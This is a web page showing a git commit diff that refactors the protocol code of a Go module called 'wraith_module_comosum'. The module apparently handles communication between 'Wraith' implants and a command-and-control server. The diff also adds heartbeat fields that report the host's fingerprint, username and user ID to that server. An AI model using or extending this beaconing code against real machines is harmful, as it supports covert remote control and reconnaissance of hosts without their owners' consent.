wraith-labs/wraith_module_comosum
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

chore: unify proto code

Browse Source
This commit is contained in:
0x1a8510f2 2023-01-09 03:13:40 +00:00
parent d53ed109d3
commit e9bd246846
Signed by: 0x1a8510f2
GPG Key ID: 1C692E355D76775D
7 changed files with 80 additions and 76 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

35
internal/pmanager/pmanager.go
View File

@ -18,6 +18,7 @@ import (
"time"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/misc"
"dev.l1qu1d.net/wraith-labs/wraith-module-pinecomms/internal/proto"
"github.com/gorilla/mux"
"github.com/gorilla/websocket"
pineconeConnections "github.com/matrix-org/pinecone/connections"
@ -35,8 +36,8 @@ type manager struct {
// Internal communication channels.
reqExit chan struct{}
ackExit chan struct{}
txq chan packet
rxq chan packet
txq chan proto.Packet
rxq chan proto.Packet
// A struct of config options for the manager with a lock to make it thread-safe.
conf config
@ -79,27 +80,19 @@ func (pm *manager) Start() {
// Set up rx queue handling.
pMux := mux.NewRouter().SkipClean(true).UseEncodedPath()
pMux.PathPrefix(ROUTE_PREFIX).HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
pMux.PathPrefix(proto.ROUTE_PREFIX).HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
// Read the payload from request body.
payload, err := io.ReadAll(r.Body)
if err != nil {
w.WriteHeader(400)
return
}
// Try to JSON parse the payload.
data := packetData{}
err = json.Unmarshal(payload, &data)
data, err := io.ReadAll(r.Body)
if err != nil {
w.WriteHeader(400)
return
}
// Fill out packet metadata.
p := packet{
p := proto.Packet{
Peer: r.RemoteAddr,
Method: r.Method,
Route: strings.TrimPrefix(r.URL.EscapedPath(), ROUTE_PREFIX),
Route: strings.TrimPrefix(r.URL.EscapedPath(), proto.ROUTE_PREFIX),
Data: data,
}
@ -275,7 +268,7 @@ func (pm *manager) Start() {
URL: &url.URL{
Scheme: "http",
Host: p.Peer,
Path: ROUTE_PREFIX + p.Route,
Path: proto.ROUTE_PREFIX + p.Route,
},
Cancel: ctx.Done(),
Body: io.NopCloser(bytes.NewReader(payload)),
@ -366,7 +359,7 @@ func (pm *manager) Restart() {
}
// Send a given packet to a specific peer.
func (pm *manager) Send(ctx context.Context, p packet) error {
func (pm *manager) Send(ctx context.Context, p proto.Packet) error {
select {
case pm.txq <- p:
return nil
@ -379,14 +372,14 @@ func (pm *manager) Send(ctx context.Context, p packet) error {
// Receive incoming packets. Blocks until either a packet is received or
// the provided context expires.
func (pm *manager) Recv(ctx context.Context) (packet, error) {
func (pm *manager) Recv(ctx context.Context) (proto.Packet, error) {
select {
case p := <-pm.rxq:
return p, nil
case <-pm.ackExit:
return packet{}, fmt.Errorf("manager exited while trying to send packet")
return proto.Packet{}, fmt.Errorf("manager exited while trying to send packet")
case <-ctx.Done():
return packet{}, fmt.Errorf("context cancelled while trying to receive packet (%e)", ctx.Err())
return proto.Packet{}, fmt.Errorf("context cancelled while trying to receive packet (%e)", ctx.Err())
}
}
@ -432,8 +425,8 @@ func GetInstance() *manager {
managerInstance.conf.configSnapshot = defaults
// Init communication channels.
managerInstance.txq = make(chan packet)
managerInstance.rxq = make(chan packet)
managerInstance.txq = make(chan proto.Packet)
managerInstance.rxq = make(chan proto.Packet)
})
return managerInstance

52
internal/pmanager/proto.go
View File

@ -1,52 +0,0 @@
package pmanager
const (
// The version of the wraith-module-pinecomms protocol supported by the current
// version of the module. This is updated whenever a breaking change is made to
// the protocol.
//
// https://web.archive.org/web/20220618041607/https://www.ssa.gov/oact/babynames/decades/century.html
CURRENT_PROTO = "james"
// The prefix for all Wraith PineComms HTTP routes.
ROUTE_PREFIX = "/_wpc/" + CURRENT_PROTO + "/"
)
/*
The HTTP part of the protocol is extremely simple; only two routes are provided:
- PING: An echo request to check if the target is online. A 200 response indicates
that everything is running as expected, any other status indicates that something
is wrong, with optionally more details included in the response body as freeform data.
- SEND: An endpoint for sending signed JWT data.
*/
const (
ROUTE_PING = "ping"
ROUTE_SEND = "send"
)
type packetData struct {
// Wraith shm cells to read from.
R []string
// Wraith shm cells to write to and data to write.
W map[string]any
}
type packet struct {
// The pinecone peer this packet came from or is going to.
Peer string
// The HTTP method this packet was received or is to be sent with.
Method string
// The HTTP route this packet was received on or is being sent to (excluding prefix).
Route string
// The data included with the packet encoded as pmanager-flavoured JWT.
Data packetData
}

24
internal/proto/constants.go Normal file
View File

@ -0,0 +1,24 @@
package proto
import "time"
const (
// The version of the wraith-module-pinecomms protocol supported by the current
// version of the module. This is updated whenever a breaking change is made to
// the protocol.
//
// https://web.archive.org/web/20220618041607/https://www.ssa.gov/oact/babynames/decades/century.html
CURRENT_PROTO = "james"
// The prefix for all Wraith PineComms HTTP routes.
ROUTE_PREFIX = "/_wpc/" + CURRENT_PROTO + "/"
// Minimum time between heartbeat requests from Wraiths.
HEARTBEAT_INTERVAL_MIN = time.Second * 20
// Maximum time between heartbeat requests from Wraiths.
HEARTBEAT_INTERVAL_MAX = time.Second * 40
// The time after which a Wraith is marked as offline by the c2.
HEARTBEAT_MARK_DEAD_DELAY = HEARTBEAT_INTERVAL_MAX*2 + 1*time.Second
)

9
internal/proto/heartbeat.go
View File

@ -3,6 +3,9 @@ package proto
// The structure of heartbeats which Wraiths send to c2 to register
// their status and presence.
type Heartbeat struct {
// The unique fingerprint of the Wraith.
Fingerprint string
// The operating system Wraith is running on.
HostOS string
@ -12,6 +15,12 @@ type Heartbeat struct {
// The system hostname.
Hostname string
// The name of the user under which Wraith is running.
HostUser string
// The ID of the user under which Wraith is running.
HostUserId int
// A list of errors the Wraith has encountered.
Errors []error
}

6
internal/proto/helpers.go
View File

@ -8,12 +8,12 @@ import (
"github.com/fxamacker/cbor/v2"
)
type packet interface {
type packetData interface {
Heartbeat | Req | Res
}
// Converts a packet into a byte array ready for transmission.
func Marshal[P packet](p *P, signingKey ed25519.PrivateKey) ([]byte, error) {
func Marshal[P packetData](p *P, signingKey ed25519.PrivateKey) ([]byte, error) {
// Get the CBOR representation of the data.
dataBytes, err := cbor.Marshal(p)
if err != nil {
@ -31,7 +31,7 @@ func Marshal[P packet](p *P, signingKey ed25519.PrivateKey) ([]byte, error) {
}
// Converts a byte array into a packet so that it can be processed.
func Unmarshal[P packet](p *P, verificationKey ed25519.PublicKey, data []byte) error {
func Unmarshal[P packetData](p *P, verificationKey ed25519.PublicKey, data []byte) error {
// Make sure the data is correctly formatted (at least 64 bytes)
if len(data) < 64 {
return errors.New("provided data was too short")

15
internal/proto/http.go Normal file
View File

@ -0,0 +1,15 @@
package proto
/*
The HTTP part of the protocol is extremely simple; only two routes are provided:
- HEARTBEAT: Wraiths hit this endpoint on the c2 to report their status.
- REQUEST: The c2 hits this endpoint to send data to a Wraith.
*/
const (
ROUTE_HEARTBEAT = "hb"
ROUTE_REQUEST = "rq"
)

15
internal/proto/packet.go Normal file
View File

@ -0,0 +1,15 @@
package proto
type Packet struct {
// The pinecone peer this packet came from or is going to.
Peer string
// The HTTP method this packet was received or is to be sent with.
Method string
// The HTTP route this packet was received on or is being sent to (excluding prefix).
Route string
// The data included with the packet encoded as pinecomms-flavoured signed CBOR.
Data []byte
}